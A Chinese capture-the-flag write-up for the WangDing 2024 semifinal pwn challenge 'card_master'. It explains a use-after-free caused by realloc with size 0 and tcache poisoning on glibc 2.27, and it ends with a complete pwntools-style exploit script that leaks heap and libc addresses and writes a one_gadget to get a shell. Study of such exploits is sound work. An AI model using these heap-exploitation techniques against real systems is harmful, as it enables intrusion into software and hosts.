
pwn· 更新于 2025-03-14
WangDing-2024
card_master
网鼎半决赛的一道 pwn 题
浅逆一下

程序模拟的是一套扑克牌,可以随机洗牌打乱。
set 功能可以设置扑克牌有几个花色,每个花色有几张牌等。
case 3 是 show 功能,可以打印出设置的卡牌参数,
shuffle 是随机打乱牌序(洗牌)。
show_card 则是展示出所有手牌。
其中存储牌参数的结构体如下
00000000 struct struct_a1 // sizeof=0x28
00000000 {
00000000 _DWORD suit_size;
00000004 _DWORD card_num;
00000008 _QWORD shuffle_times;
00000010 _BYTE symble[16];
00000020 _QWORD card;
00000028 };
漏洞点
在 set 功能中,我们可以设置牌的花色个数和每个花色的牌数,还可以自定义花色的输出(默认是♥♠♦♣)。
if ( *a1->symble == byte_202010 )
v5 = malloc(4 * a1->suit_size);
else
v5 = realloc(*a1->symble, 4 * a1->suit_size);
if ( v5 )
{
*a1->symble = v5;
printf("new suite set:");
return read(0, *a1->symble, 4 * a1->suit_size);
}
但 symble 是默认时,程序会调用 malloc 分配一块内存存储我们自定义的花色。第二次修改时就是调用 realloc 分配内存。
下方有一处判断if ( v5 ),但成功分配内存时,就更新结构体的 symble 指针,并读入数据。
回到 realloc,查阅下源码,如下
void *
__libc_realloc (void *oldmem, size_t bytes)
{
mstate ar_ptr;
INTERNAL_SIZE_T nb; /* padded request size */
void *newp; /* chunk to return */
void *(*hook) (void *, size_t, const void *) =
atomic_forced_read (__realloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(oldmem, bytes, RETURN_ADDRESS (0));
#if REALLOC_ZERO_BYTES_FREES
if (bytes == 0 && oldmem != NULL)
{
__libc_free (oldmem); return 0; // 调用了free
}
#endif
/* realloc of null is supposed to be same as malloc */
if (oldmem == 0)
return __libc_malloc (bytes);
/* chunk corresponding to oldmem */
const mchunkptr oldp = mem2chunk (oldmem);
/* its size */
const INTERNAL_SIZE_T oldsize = chunksize (oldp);
if (chunk_is_mmapped (oldp))
ar_ptr = NULL;
else
{
MAYBE_INIT_TCACHE ();
ar_ptr = arena_for_chunk (oldp);
}
/* Little security check which won't hurt performance: the allocator
never wrapps around at the end of the address space. Therefore
we can exclude some size values which might appear here by
accident or by "design" from some intruder. We need to bypass
this check for dumped fake mmap chunks from the old main arena
because the new malloc may provide additional alignment. */
if ((__builtin_expect ((uintptr_t) oldp > (uintptr_t) -oldsize, 0)
|| __builtin_expect (misaligned_chunk (oldp), 0))
&& !DUMPED_MAIN_ARENA_CHUNK (oldp))
malloc_printerr ("realloc(): invalid pointer");
checked_request2size (bytes, nb);
if (chunk_is_mmapped (oldp))
//本程序用不到mmapped的内存,故省略
if (SINGLE_THREAD_P) //单线程
{
newp = _int_realloc (ar_ptr, oldp, oldsize, nb); //调用_int_realloc,也是函数的主逻辑所在
assert (!newp || chunk_is_mmapped (mem2chunk (newp)) ||
ar_ptr == arena_for_chunk (mem2chunk (newp)));
return newp;
}
//本程序并非多线程,故省略
}
libc_hidden_def (__libc_realloc)
看起来很复杂(),主要逻辑就是如果传入的 newsize 不为 0,就调用_int_realloc,为 0 就调用__libc_free,并返回 0。
_int_realloc 的主要逻辑就是判断 oldsize 和 newsize 的大小关系,然后进行 malloc,memcpy,free。
故,我们传入的 suit_size 为 0 的话,程序相当于 free(a1->symble),且因为 v5 为 0,并不会进入到下面的*a1->symble = v5;,会产生 uaf 漏洞。
构造 payload
由于程序只有在 symble 是默认的时候才会调用 malloc,所以需要 malloc 的时候必须先调用一次 init 恢复默认。
先是常规的 uaf 泄露地址
add(0x10, 1, 1, b'\x80') # malloc
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
show()
ru(b'suit chara set:')
heap_base = u64_ex(ru(b'\x0a', drop=True)) - 0x640
log_heap_base_addr(heap_base)
sla(input_after_this, b'1')
add(0x200, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
show()
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x3EBCA0
set_current_libc_base_and_log(libc_base)
由于在 malloc 一次后,使用的是 realloc,所以通过修改 tcache 的 next 指针实现任意分配需要一点手法。
正常来说,uaf 实现任意地址分配,首先构造 A->B->A 的链条,先 malloc,分配到 A,修改 next,使链表变成 B->A->C,C 就是想要分配到的地址。
在本题中,如果我们使用 malloc 分配到 A,那么后续都是 realloc,比较难以继续利用。因此我们选择利用 init 里面的
for ( i = 0; i <= 3; ++i )
{
v0 = (v4[4] + 8LL * i);
*v0 = malloc(0xD0uLL);
for ( j = 0; j <= 12; ++j )
{
*(*(8LL * i + v4[4]) + 16LL * j) = i;
*(*(8LL * i + v4[4]) + 16LL * j + 8) = j + 1;
}
}
*v0 = malloc(0xD0uLL);,先伪造一个链表,让 tcache 里面有 4 个 chunk,这样 init 后,剩下我们想要分配到的地址,这时候再 set,malloc 到的就是我们想分配到的那个地址了。


劫持 show 函数,写入 one_gadget 即可 get shell
贴一个 exp
#!/usr/bin/env python3
from pwncli import *
from ctypes import *
rand = cdll.LoadLibrary('./libc.so.6')
rand.srand(0xDEADBEEF)
context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
if local_flag == "remote":
addr = '173.41.149.110 8888'
host = addr.split(' ')
gift.io = remote(host[0], host[1])
gift.remote = True
else:
gift.io = process('./cardmaster')
if local_flag == "nodbg":
gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./cardmaster')
cmd = '''
directory /mnt/f/Documents/ctf/glibc/glibc-2.27/malloc
b *$rebase(0xAD8)
# b *$rebase(0xC1A)
# b *$rebase(0xC5F)
# new
b *$rebase(0x1231)
# malloc
b *$rebase(0x1218)
# realloc
b *$rebase(0x137B)
# read
b *$rebase(0xD87)
# show
# b *$rebase(0x10B3)
# show_card
b *$rebase(0x1144)
# ret
# b *$rebase(0xF80)
# b *$rebase(0x105D)
# b *$rebase(0xFB7)
# mov to stack
b *$rebase(0xB10)
c
'''
input_after_this = b'>>'
def add(size, range_, level, data):
sla(input_after_this, b'2')
sla(b'suit count:', str(size))
sla(b'digit range 1 - ?', str(range_))
sla(b'randomize level:', str(level))
if size != 0:
sa(b'new suite set:', data)
def dele(idx):
sla(input_after_this, b'2')
sla(b'index', str(idx))
def edit(idx, data):
sla(input_after_this, b'3')
sla(b'index', str(idx))
sla(b'', data)
def show():
sla(input_after_this, b'3')
def shuffle():
sla(input_after_this, b'4')
def show_card():
sla(input_after_this, b'5')
key = '♥♠♦♣'
add(0x10, 1, 1, b'\x80') # malloc
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
show()
ru(b'suit chara set:')
heap_base = u64_ex(ru(b'\x0a', drop=True)) - 0x640
log_heap_base_addr(heap_base)
sla(input_after_this, b'1')
add(0x200, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
show()
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x3EBCA0
set_current_libc_base_and_log(libc_base)
fake_heap = heap_base + 0x1480
sla(input_after_this, b'1')
sla(input_after_this, b'1')
add(
0x400,
1,
1,
flat(
{
0x0: 0,
0x80: fake_heap + 0x170,
0x170: fake_heap + 0x250,
0x250: heap_base + 0x104B8,
0x330: heap_base + 0x100,
0x410: heap_base + 0x100,
},
filler=b'\x00',
),
) # malloc
sla(input_after_this, b'1')
add(0x34, 1, 1, b'\x00') # malloc
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
add(0x34, 1, 1, p64_ex(fake_heap + 0x80))
sla(input_after_this, b'1')
launch_gdb(cmd)
add(0x34, 1, 1, p64_ex(libc_base + 0x10A38C)) # malloc
show()
ia()
你问我为什么没有决赛的 wp?9 分钟题就被秒了,这我打鸡毛(


